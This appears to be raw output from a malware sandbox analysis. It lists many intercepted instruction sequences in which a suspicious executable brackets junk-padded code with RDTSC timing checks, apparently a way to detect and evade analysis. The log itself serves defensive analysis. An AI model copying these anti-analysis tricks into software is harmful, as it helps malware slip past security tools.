Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2DF6D2 second address: 2DF717 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C728h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB180E7C71Dh 0x00000010 jc 00007FB180E7C72Eh 0x00000016 jmp 00007FB180E7C722h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2DF717 second address: 2DF71B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2DF71B second address: 2DF720 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EFB9B second address: 2EFBA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EFBA1 second address: 2EFBC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FB180E7C720h 0x0000000a jne 00007FB180E7C716h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EFBC1 second address: 2EFBC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EE58F second address: 2EE595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EE595 second address: 2EE5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB180E78736h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EE75B second address: 2EE760 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EEA59 second address: 2EEA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB180E78736h 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EEBA2 second address: 2EEBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EEBA6 second address: 2EEBEE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c ja 00007FB180E78751h 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007FB180E78749h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FB180E78749h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EEE8E second address: 2EEE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2EEE94 second address: 2EEE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2F2951 second address: 2F2955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2F26A3 second address: 2F26A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 2F26A9 second address: 2F26AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 30153B second address: 301560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7873Ah 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB180E78743h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 30DC4A second address: 30DC67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7C729h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 30DC67 second address: 30DC71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 30DC71 second address: 30DC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 3244A4 second address: 3244A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 324622 second address: 324628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 324628 second address: 324640 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB180E78736h 0x00000008 jne 00007FB180E78736h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 32477E second address: 3247BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB180E7C723h 0x00000009 popad 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FB180E7C727h 0x00000012 pop edx 0x00000013 push edi 0x00000014 pushad 0x00000015 jng 00007FB180E7C716h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 324D5F second address: 324D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 324D65 second address: 324D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 324D69 second address: 324D87 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB180E78736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FB180E78741h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 3251FD second address: 325209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 326AD0 second address: 326AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 326AD4 second address: 326AFE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FB180E7C71Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FB180E7C722h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 3293BE second address: 3293C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 32960E second address: 329632 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB180E7C716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB180E7C723h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 329632 second address: 32964E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB180E7873Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 32964E second address: 32968B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB180E7C716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007FB180E7C726h 0x00000010 pop ecx 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB180E7C726h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 3298C8 second address: 3298D2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB180E7873Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 3298D2 second address: 329926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edx, dword ptr [ebp+122D38E4h] 0x0000000d push dword ptr [ebp+122D359Dh] 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FB180E7C718h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d jmp 00007FB180E7C722h 0x00000032 push FA6CFD3Fh 0x00000037 push ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 329926 second address: 32992A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B403E0 second address: 4B403F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7C71Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B403F0 second address: 4B4041A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7873Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushad 0x0000000f call 00007FB180E78742h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B4041A second address: 4B4044D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FB180E7C721h 0x0000000b jmp 00007FB180E7C71Bh 0x00000010 popfd 0x00000011 popad 0x00000012 mov edx, dword ptr [ebp+0Ch] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ebx, 39816006h 0x0000001d movsx edx, ax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B40485 second address: 4B404C9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB180E78748h 0x00000008 or esi, 15BC6C38h 0x0000000e jmp 00007FB180E7873Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 movzx ecx, dx 0x00000019 popad 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB180E7873Eh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B707FF second address: 4B70817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7C724h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70817 second address: 4B7085D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007FB180E78743h 0x0000000f mov bl, cl 0x00000011 pop edx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007FB180E78740h 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c mov ebx, esi 0x0000001e popad 0x0000001f push ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FB180E7873Bh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B7085D second address: 4B708A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C729h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007FB180E7C71Eh 0x00000011 xchg eax, esi 0x00000012 jmp 00007FB180E7C720h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B708A3 second address: 4B708A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B708A7 second address: 4B708AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B708AD second address: 4B708B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B708B3 second address: 4B708B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B708B7 second address: 4B708BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B708BB second address: 4B70914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a mov ah, dh 0x0000000c pushad 0x0000000d push eax 0x0000000e pop ebx 0x0000000f mov ebx, esi 0x00000011 popad 0x00000012 popad 0x00000013 lea eax, dword ptr [ebp-04h] 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007FB180E7C724h 0x0000001d call 00007FB180E7C722h 0x00000022 pop eax 0x00000023 popad 0x00000024 mov eax, edi 0x00000026 popad 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007FB180E7C71Fh 0x00000030 push ecx 0x00000031 pop edx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70A1E second address: 4B70A28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 1DB9D102h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70A28 second address: 4B70A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, esi 0x00000009 jmp 00007FB180E7C71Fh 0x0000000e pop esi 0x0000000f jmp 00007FB180E7C726h 0x00000014 leave 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70A5E second address: 4B70A7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70A7B second address: 4B70A8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7C71Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B70A8B second address: 4B60037 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c sub esp, 04h 0x0000000f cmp eax, 00000000h 0x00000012 setne al 0x00000015 xor ebx, ebx 0x00000017 test al, 01h 0x00000019 jne 00007FB180E78737h 0x0000001b mov dword ptr [esp], 0000000Dh 0x00000022 call 00007FB18596598Fh 0x00000027 mov edi, edi 0x00000029 jmp 00007FB180E78747h 0x0000002e xchg eax, ebp 0x0000002f jmp 00007FB180E78746h 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60037 second address: 4B6003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B6003B second address: 4B60057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60057 second address: 4B6009B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB180E7C726h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FB180E7C720h 0x00000016 sub esp, 2Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov al, dh 0x0000001e movzx eax, di 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B6009B second address: 4B600C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78740h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB180E78747h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B600C9 second address: 4B600E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB180E7C724h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B600E1 second address: 4B600E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B600E5 second address: 4B600FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB180E7C71Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B600FD second address: 4B6011A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78741h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov si, 93D3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B6014E second address: 4B60154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60154 second address: 4B60158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60158 second address: 4B6015C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B6015C second address: 4B601A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d pushad 0x0000000e mov eax, 16E67139h 0x00000013 mov ebx, ecx 0x00000015 popad 0x00000016 sub edi, edi 0x00000018 jmp 00007FB180E78741h 0x0000001d inc ebx 0x0000001e jmp 00007FB180E7873Eh 0x00000023 test al, al 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FB180E7873Ah 0x0000002e rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B601A4 second address: 4B601B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60228 second address: 4B60275 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E78749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FB180E7873Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movzx esi, dx 0x00000016 jmp 00007FB180E78749h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60275 second address: 4B60291 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C721h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60291 second address: 4B60297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B6040F second address: 4B60413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60413 second address: 4B604F2 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB180E78743h 0x00000008 and eax, 3035F43Eh 0x0000000e jmp 00007FB180E78749h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 jmp 00007FB180E78747h 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FB180E78746h 0x00000025 sub al, FFFFFF98h 0x00000028 jmp 00007FB180E7873Bh 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007FB180E78748h 0x00000034 jmp 00007FB180E78745h 0x00000039 popfd 0x0000003a popad 0x0000003b popad 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e mov si, 74C3h 0x00000042 jmp 00007FB180E78748h 0x00000047 popad 0x00000048 nop 0x00000049 pushad 0x0000004a mov dl, ch 0x0000004c mov ax, dx 0x0000004f popad 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FB180E7873Bh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B604F2 second address: 4B6052A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 07D996DAh 0x00000008 push edi 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007FB180E7C71Dh 0x00000013 xchg eax, ebx 0x00000014 jmp 00007FB180E7C71Eh 0x00000019 push eax 0x0000001a pushad 0x0000001b mov dh, 44h 0x0000001d mov edx, esi 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B6052A second address: 4B6052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B6052E second address: 4B6053F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C71Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B6053F second address: 4B60545 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60545 second address: 4B60549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B6055D second address: 4B60563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	RDTSC instruction interceptor: First address: 4B60563 second address: 4B60593 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB180E7C723h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB180E7C725h 0x00000012 rdtsc
